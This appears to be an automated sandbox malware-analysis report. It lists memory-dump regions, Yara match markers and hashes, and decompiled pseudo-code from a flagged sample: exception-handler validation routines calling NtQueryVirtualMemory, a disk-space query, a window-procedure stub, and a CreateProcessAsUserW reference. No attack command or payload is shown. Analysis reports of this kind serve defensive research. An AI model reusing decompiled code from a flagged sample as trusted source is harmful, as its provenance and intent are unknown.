Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 08c0ce1a4bd16ef407f49c4ef5924bd8eacd3fcbe6ab774e26179baffa6e4f1c
Instruction ID: c6398dee87e202f4aa1fec8d652e1596c3e82cde2535a7b1605672ed8d8f4e57
Opcode Fuzzy Hash: 08c0ce1a4bd16ef407f49c4ef5924bd8eacd3fcbe6ab774e26179baffa6e4f1c
Instruction Fuzzy Hash: 2322747BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 0047B2F1, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0047B2F1(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x47d2d8; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x47d320 = 1;
										__eflags =  *0x47d320;
										if( *0x47d320 != 0) {
											goto L60;
										}
										_t84 =  *0x47d2d8; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x47d320 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x47d2d8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x47d2e0 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x47d2dc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x47d2e0 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x47d2e0 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x47d320 = 1;
							__eflags =  *0x47d320;
							if( *0x47d320 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x47d2e0 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x47d2e0 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x47d320 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x47d2e0 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x47d2d8 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x47d2e0 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x47d2e0 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0047b2fb
0x0047b2fe
0x0047b304
0x0047b322
0x00000000
0x0047b322
0x0047b30c
0x0047b315
0x0047b31b
0x0047b32a
0x0047b32d
0x0047b330
0x0047b33a
0x0047b33a
0x0047b33c
0x0047b33f
0x0047b341
0x0047b341
0x0047b343
0x0047b346
0x00000000
0x00000000
0x0047b348
0x0047b34a
0x0047b3b0
0x0047b3b0
0x0047b50e
0x00000000
0x0047b50e
0x0047b34c
0x0047b34c
0x0047b350
0x0047b352
0x0047b352
0x0047b352
0x0047b352
0x0047b355
0x0047b356
0x0047b359
0x0047b359
0x0047b35d
0x0047b361
0x0047b36f
0x0047b36f
0x0047b377
0x0047b37d
0x0047b37f
0x0047b381
0x0047b391
0x0047b39e
0x0047b3a2
0x0047b3a7
0x0047b3a9
0x0047b427
0x0047b427
0x0047b3ab
0x0047b3ab
0x0047b3ab
0x0047b429
0x0047b42b
0x0047b50c
0x0047b50c
0x00000000
0x0047b431
0x0047b431
0x0047b438
0x00000000
0x00000000
0x0047b43e
0x0047b442
0x0047b49e
0x0047b4a0
0x0047b4a8
0x0047b4aa
0x0047b4ac
0x00000000
0x00000000
0x0047b4ae
0x0047b4b4
0x0047b4b6
0x0047b4b8
0x0047b4cd
0x0047b4cd
0x0047b4cf
0x0047b4fe
0x0047b505
0x00000000
0x0047b505
0x0047b4d3
0x0047b4d4
0x0047b4d6
0x0047b4d8
0x0047b4d8
0x0047b4da
0x0047b4dc
0x0047b4de
0x0047b4f2
0x0047b4f2
0x0047b4f5
0x0047b4f7
0x0047b4f7
0x0047b4f8
0x0047b4f8
0x00000000
0x0047b4e0
0x0047b4e0
0x0047b4e0
0x0047b4e9
0x0047b4ea
0x0047b4ec
0x0047b4ee
0x0047b4ee
0x00000000
0x0047b4e0
0x0047b4de
0x0047b4ba
0x0047b4c1
0x0047b4c1
0x0047b4c3
0x00000000
0x00000000
0x0047b4c5
0x0047b4c6
0x0047b4c9
0x0047b4cb
0x00000000
0x00000000
0x00000000
0x0047b4cb
0x00000000
0x0047b4c1
0x0047b444
0x0047b447
0x0047b44c
0x00000000
0x00000000
0x0047b455
0x0047b457
0x0047b45d
0x00000000
0x00000000
0x0047b463
0x0047b469
0x00000000
0x00000000
0x0047b46f
0x0047b471
0x0047b47a
0x0047b47e
0x00000000
0x00000000
0x0047b484
0x0047b487
0x0047b489
0x00000000
0x00000000
0x0047b490
0x0047b492
0x00000000
0x00000000
0x0047b494
0x0047b498
0x00000000
0x00000000
0x00000000
0x0047b498
0x00000000
0x00000000
0x00000000
0x0047b383
0x0047b383
0x0047b383
0x0047b38a
0x00000000
0x00000000
0x0047b38c
0x0047b38d
0x0047b38f
0x00000000
0x00000000
0x00000000
0x0047b38f
0x0047b3b7
0x0047b3b9
0x00000000
0x00000000
0x0047b3c9
0x0047b3cb
0x0047b3cd
0x00000000
0x00000000
0x0047b3d3
0x0047b3da
0x0047b406
0x0047b406
0x0047b408
0x0047b40a
0x0047b41e
0x0047b420
0x00000000
0x00000000
0x00000000
0x00000000
0x0047b40c
0x0047b40c
0x0047b40c
0x0047b415
0x0047b416
0x0047b418
0x0047b41a
0x0047b41a
0x00000000
0x0047b40c
0x0047b3dc
0x0047b3dc
0x0047b3df
0x0047b3e1
0x0047b3f3
0x0047b3f3
0x0047b3f6
0x0047b3f8
0x0047b3f8
0x0047b3f9
0x0047b3f9
0x0047b3ff
0x0047b3ff
0x00000000
0x00000000
0x00000000
0x00000000
0x0047b3e3
0x0047b3e3
0x0047b3e3
0x0047b3ea
0x00000000
0x00000000
0x0047b3ec
0x0047b3ec
0x0047b3ed
0x00000000
0x00000000
0x00000000
0x0047b3ed
0x0047b3ef
0x0047b3f1
0x0047b404
0x00000000
0x00000000
0x00000000
0x0047b404
0x00000000
0x0047b3f1
0x0047b363
0x0047b366
0x0047b369
0x00000000
0x00000000
0x0047b36b
0x0047b36d
0x00000000
0x00000000
0x00000000
0x0047b36d
0x0047b332
0x0047b334
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0047B3A2

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 865c2c9f426834d53ad26fe37d2440549c9d04b627b5b64e040e67de2496e079
Instruction ID: 3fa91bf31b9a4b14b9d7062adfe4b8160ad1e7a649d2dd8dd6f7d2b8b3a43c25
Opcode Fuzzy Hash: 865c2c9f426834d53ad26fe37d2440549c9d04b627b5b64e040e67de2496e079
Instruction Fuzzy Hash: C1617231A106059FDB25CE29D9907EA73A1EB85358B24C57BD84EC7396E738DC8287CC

Uniqueness

Uniqueness Score: -1.00%

Function 004322C5, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004322C5(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x434178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x4341c0 = 1;
										__eflags =  *0x4341c0;
										if( *0x4341c0 != 0) {
											goto L60;
										}
										_t84 =  *0x434178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x4341c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x434178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x434180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x43417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x434180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x434180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x4341c0 = 1;
							__eflags =  *0x4341c0;
							if( *0x4341c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x434180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x434180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x4341c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x434180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x434178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x434180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x434180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x004322cf
0x004322d2
0x004322d8
0x004322f6
0x00000000
0x004322f6
0x004322e0
0x004322e9
0x004322ef
0x004322fe
0x00432301
0x00432304
0x0043230e
0x0043230e
0x00432310
0x00432313
0x00432315
0x00432315
0x00432317
0x0043231a
0x00000000
0x00000000
0x0043231c
0x0043231e
0x00432384
0x00432384
0x004324e2
0x00000000
0x004324e2
0x00432320
0x00432320
0x00432324
0x00432326
0x00432326
0x00432326
0x00432326
0x00432329
0x0043232a
0x0043232d
0x0043232d
0x00432331
0x00432335
0x00432343
0x00432343
0x0043234b
0x00432351
0x00432353
0x00432355
0x00432365
0x00432372
0x00432376
0x0043237b
0x0043237d
0x004323fb
0x004323fb
0x0043237f
0x0043237f
0x0043237f
0x004323fd
0x004323ff
0x004324e0
0x004324e0
0x00000000
0x00432405
0x00432405
0x0043240c
0x00000000
0x00000000
0x00432412
0x00432416
0x00432472
0x00432474
0x0043247c
0x0043247e
0x00432480
0x00000000
0x00000000
0x00432482
0x00432488
0x0043248a
0x0043248c
0x004324a1
0x004324a1
0x004324a3
0x004324d2
0x004324d9
0x00000000
0x004324d9
0x004324a7
0x004324a8
0x004324aa
0x004324ac
0x004324ac
0x004324ae
0x004324b0
0x004324b2
0x004324c6
0x004324c6
0x004324c9
0x004324cb
0x004324cb
0x004324cc
0x004324cc
0x00000000
0x004324b4
0x004324b4
0x004324b4
0x004324bd
0x004324be
0x004324c0
0x004324c2
0x004324c2
0x00000000
0x004324b4
0x004324b2
0x0043248e
0x00432495
0x00432495
0x00432497
0x00000000
0x00000000
0x00432499
0x0043249a
0x0043249d
0x0043249f
0x00000000
0x00000000
0x00000000
0x0043249f
0x00000000
0x00432495
0x00432418
0x0043241b
0x00432420
0x00000000
0x00000000
0x00432429
0x0043242b
0x00432431
0x00000000
0x00000000
0x00432437
0x0043243d
0x00000000
0x00000000
0x00432443
0x00432445
0x0043244e
0x00432452
0x00000000
0x00000000
0x00432458
0x0043245b
0x0043245d
0x00000000
0x00000000
0x00432464
0x00432466
0x00000000
0x00000000
0x00432468
0x0043246c
0x00000000
0x00000000
0x00000000
0x0043246c
0x00000000
0x00000000
0x00000000
0x00432357
0x00432357
0x00432357
0x0043235e
0x00000000
0x00000000
0x00432360
0x00432361
0x00432363
0x00000000
0x00000000
0x00000000
0x00432363
0x0043238b
0x0043238d
0x00000000
0x00000000
0x0043239d
0x0043239f
0x004323a1
0x00000000
0x00000000
0x004323a7
0x004323ae
0x004323da
0x004323da
0x004323dc
0x004323de
0x004323f2
0x004323f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004323e0
0x004323e0
0x004323e0
0x004323e9
0x004323ea
0x004323ec
0x004323ee
0x004323ee
0x00000000
0x004323e0
0x004323b0
0x004323b3
0x004323b5
0x004323c7
0x004323c7
0x004323ca
0x004323cc
0x004323cc
0x004323cd
0x004323cd
0x004323d3
0x00000000
0x00000000
0x00000000
0x00000000
0x004323b7
0x004323b7
0x004323b7
0x004323be
0x00000000
0x00000000
0x004323c0
0x004323c0
0x004323c1
0x00000000
0x00000000
0x00000000
0x004323c1
0x004323c3
0x004323c5
0x004323d8
0x00000000
0x00000000
0x00000000
0x004323d8
0x00000000
0x004323c5
0x00432337
0x0043233a
0x0043233d
0x00000000
0x00000000
0x0043233f
0x00432341
0x00000000
0x00000000
0x00000000
0x00432341
0x00432306
0x00432308
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL ref: 00432376

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 4c4441d38afe9bb2fe68bfa4ed338f392d228584b85338ea8100f23d9efc5bfc
Instruction ID: e1c26bf1180c60145fc0e6861d5dfb64f3d1feae002d03eac1d6f67369048c5e
Opcode Fuzzy Hash: 4c4441d38afe9bb2fe68bfa4ed338f392d228584b85338ea8100f23d9efc5bfc
Instruction Fuzzy Hash: DA61C5306006129FDB29CB39DB8466A37A5FBAD354F24A13BD856C7291E3BCDC818658

Uniqueness

Uniqueness Score: -1.00%

Function 0235EE34, Relevance: 1.6, APIs: 1, Instructions: 57processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0235EEA4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 964e7198e3ef2d701804c4476b81c48c051c7dfe7dc0c1f62e5854234b027cb9
Instruction ID: b39de4a70c9448f32411d5a77f165cbb8476a13ca4ecc6755d0666f60e8e7010
Opcode Fuzzy Hash: 964e7198e3ef2d701804c4476b81c48c051c7dfe7dc0c1f62e5854234b027cb9
Instruction Fuzzy Hash: 4B11E032214219BFDF024F98DC05DEA7B6AFF48764F054215FE1962120C736C872AF90

Uniqueness

Uniqueness Score: -1.00%

Function 003885C8, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003885C8(CHAR* _a4, intOrPtr* _a8, intOrPtr* _a12) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				CHAR* _t25;
				int _t26;
				intOrPtr _t31;
				intOrPtr _t34;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t46;
				intOrPtr _t48;

				_t25 = _a4;
				if(_t25 == 0) {
					_t25 = 0;
				}
				_t26 = GetDiskFreeSpaceA(_t25,  &_v8,  &_v12,  &_v16,  &_v20);
				_v28 = _v8 * _v12;
				_v24 = 0;
				_t46 = _v24;
				_t31 = E00384CB4(_v28, _t46, _v16, 0);
				_t37 = _a8;
				 *_t37 = _t31;
				 *((intOrPtr*)(_t37 + 4)) = _t46;
				_t48 = _v24;
				_t34 = E00384CB4(_v28, _t48, _v20, 0);
				_t38 = _a12;
				 *_t38 = _t34;
				 *((intOrPtr*)(_t38 + 4)) = _t48;
				return _t26;
			}

0x003885cf
0x003885d4
0x003885d6
0x003885d6
0x003885e9
0x003885f8
0x003885fb
0x00388608
0x0038860b
0x00388610
0x00388613
0x00388615
0x00388622
0x00388625
0x0038862a
0x0038862d
0x0038862f
0x00388638

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 003885E9

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: f6cf963ff4660f6097bdb09eb87ad95dd1625826f8f69420adcb5f2f1afd95b8
Instruction ID: c2692032c9a98bc9ae52ed972562b0ed35e42a3d713d872f8a59fb831cf65f46
Opcode Fuzzy Hash: f6cf963ff4660f6097bdb09eb87ad95dd1625826f8f69420adcb5f2f1afd95b8
Instruction Fuzzy Hash: 5D11DEB5E01209AFDB05DF99CC81DAFF7F9EFC8300B14C569A519EB255E6319A01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003A863C, Relevance: 1.5, APIs: 1, Instructions: 41
nativeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E003A863C(intOrPtr __eax, intOrPtr* __edx) {
				intOrPtr _v8;
				intOrPtr _t12;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;

				_v8 = __eax;
				_t22 =  *__edx;
				_t26 = _t22 - 0x113;
				if(_t22 != 0x113) {
					_push( *((intOrPtr*)(__edx + 8)));
					_push( *((intOrPtr*)(__edx + 4)));
					_push(_t22);
					_t12 =  *((intOrPtr*)(_v8 + 0x34));
					_push(_t12);
					L003865BC();
					 *((intOrPtr*)(__edx + 0xc)) = _t12;
					return _t12;
				}
				_push(0x3a8676);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				E003832F8(_v8, _t26);
				_pop(_t21);
				 *[fs:eax] = _t21;
				return 0;
			}

0x003a8645
0x003a8648
0x003a864a
0x003a8650
0x003a8694
0x003a8698
0x003a8699
0x003a869d
0x003a86a0
0x003a86a1
0x003a86a6
0x00000000
0x003a86a6
0x003a8655
0x003a865a
0x003a865d
0x003a8667
0x003a866e
0x003a8671
0x00000000

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 003A86A1

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 15870a3e4a7b533d52ec2f907486cf45fbc7de1d015c97c8a96a916955591e22
Instruction ID: 83db790f28cd7bf7cf6ddaec0a18d4e2854424e1e0c80a3cda6c6a3cecaec3f9
Opcode Fuzzy Hash: 15870a3e4a7b533d52ec2f907486cf45fbc7de1d015c97c8a96a916955591e22
Instruction Fuzzy Hash: 88F0F676604204AFA701DFAED882C96F7ECEB4A72036140A6FA04D7740D631AD008B70

